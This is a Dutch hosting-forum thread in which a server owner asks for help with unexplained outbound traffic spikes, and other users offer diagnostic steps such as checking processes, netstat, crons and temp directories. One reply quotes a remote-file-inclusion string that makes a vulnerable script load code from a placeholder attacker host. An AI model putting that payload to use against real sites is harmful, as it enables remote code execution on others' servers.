Server wordt aangevallen

[pcmw]

Beste Heren,

Ik heb met spoed raad en hulp van de ervaren systeembeheerder nodig.

Al een week wordt onze server lastig gevallen door Ddos attacks, denk ik.
Ik krijg op eens een hoge piek aan dataverkeer OUTBOUND. Ik heb naar alles gekeken op de server. Op de server was ook AFP, BFD, Mod_sec geinstalleerd.

In de ochten om 5 tot 7 en in de middag van 17.05 tot 17.15 wordt een hoge piek gemaakt en wordt 100MBit uitgetrokken. Dit veroorzaakt problemen zoals niet bereikbaar zijn van de server en natuurlijk hoge data kosten.

Waar kan ik naar kijken?
Welke kan ik nog meer installeren?
Is er geen programma die IP block als ze te veel vragen?

Ik ben nu echt radeloos en heb echt hulp nodig!

Laat het mij weten.

[liber!]

Op de server zelf kan je weinig doen tegen een ddos. Je zou wel aan je provider kunnen vragen de aanvallende ip's te blokkeren.

Allesinds veel succes!

[Ospito]

Bel (078-6767128) en/of mail (info@ospito.nl) ons maar even de inloggegevens, dan kijken we even voor je, in eerste instantie kosteloos uiteraard.

--Edit

Wacht, ik zit niet goed te lezen.
Het gaat dus enkel om een DDOS die binnenkomt? Er is niet door iemand anders software geinstalleerd en/of een uitgaande DDOS aan de gang? Als dit zo is dan kan ik je niet heel veel helpen. Neem contact op met je leverancier, die kunnen zien op welk IP het gericht is en deze null-routen.

[londoneye]

Is een outgoing DDOS overigens ook mogelijk door een Remote Code execution door bijvoorbeeld een lekke Mambo? (?page=http://hacker.nl/hack.txt)

Kan dit heel veel dataverkeer veroorzaken? Wat kun je hier tegen doen?

[RayManZ]

spamrun? Tenminste dat kan omdat er als ik het goed begrijp verkeer uitgaat?

Kijk anders even je crons na. wil ook nog wel eens iets oplossen. draai even rootkit hunter.

[londoneye]

Wat is momenteel de outgoing bandwidth van de server?
Wat is de normale outgoing bandwidth?

Als je httpd stopt, wordt dan de outgoing bandwidth lager?

[sp-services]

phpbb ook goed checken
we hebben hier ook last van gehad

[pcmw]

Beste Heren,

Het is uitgaand verkeer.. Dus iemand heeft wat geinstalleerd of een script die verkeer veroorzaakt.

Ik heb crontab gecontrleerd er staat niets op. Ik heb alles doorgelopen.
Ik weet niet wat ik moet doen.

[Keenondots]

ps auxw, top .. welke processen lopen er die je niet kent. Restart httpd, is je dataverkeer dan normaal? etc.

[mrleejohn]

> Het is uitgaand verkeer.. Dus iemand heeft wat geinstalleerd of een script die verkeer veroorzaakt.

Klinkt als een hack... niet als een typische ddos.

Ik kan je alleen adviseren je webserver van internet los te koppelen en je server goed te onderzoeken. Of beter.... herinstalleren.

[Swiftway-UK]

1. huur een systeembeheerder
2. geef geen root access aan mensen die je niet kent en waar je geen zakenrelatie mee hebt.

Komt dus neer op: huur een partij in die dit probleem oplost, laat het niet doen als vriendendienst door iemand die je niet kent en geen contract mee hebt, wie weet wat ze installeren.

[crazycoder]

Neem even contact op met je colo leverancier. Zij zouden je wellicht kunnen vertellen wat voor soort verkeer het is.

Verder doe je er inderdaad goed aan om de server offline te halen en grondig te onderzoeken.

[Ospito]

1. huur een systeembeheerder
2. geef geen root access aan mensen die je niet kent en waar je geen zakenrelatie mee hebt.

Komt dus neer op: huur een partij in die dit probleem oplost, laat het niet doen als vriendendienst door iemand die je niet kent en geen contract mee hebt, wie weet wat ze installeren.

Ik neem aan dat je hiermee (mede) doelt op mijn post?!

Voor alle duidelijkheid: dit was alleen bedoeld om iemand te helpen, ik wil eventueel zelfs nog een overeenkomstje tekenen waarin het e.e.a. staat over wat wel en niet de bedoeling is en een geheimhoudingsverklaring. Daarnaast zijn al onze gegevens openbaar (KvK bijvoorbeeld) met (huis)adres in Nederland en al...dus daar hoef je m.i. niet zo bang voor te zijn bij een bedrijf...

Wij doen overigens dit soort diensten ook betaald, dus we hebben al toegang tot vele servers. Het enige verschil voor TS is dat hij voor een simpele check wat er aan de hand is niet zou hoeven te betalen.

[londoneye]

> Het is uitgaand verkeer.. Dus iemand heeft wat geinstalleerd of een script die verkeer veroorzaakt.

Klinkt als een hack... niet als een typische ddos.

Ik kan je alleen adviseren je webserver van internet los te koppelen en je server goed te onderzoeken. Of beter.... herinstalleren.

Flink genaaid als het achteraf een klant blijkt te zijn met een lek php-script... phpBB... waardoor veel dataverkeer veroorzaakt wordt.

[Magus]

* Tsjek ook je /tmp en /dev/shm directories

* Tjsek met 'netstat -plan' welke programma's er draaien die netwerk connecties hebben, en met welke ip's en op welke poorten ze die hebben. Staat daar iets wat je niet kent, dan kun je die poort en/of het ip blocken

* Tsjek je logfiles op strings zoals londonee die opperde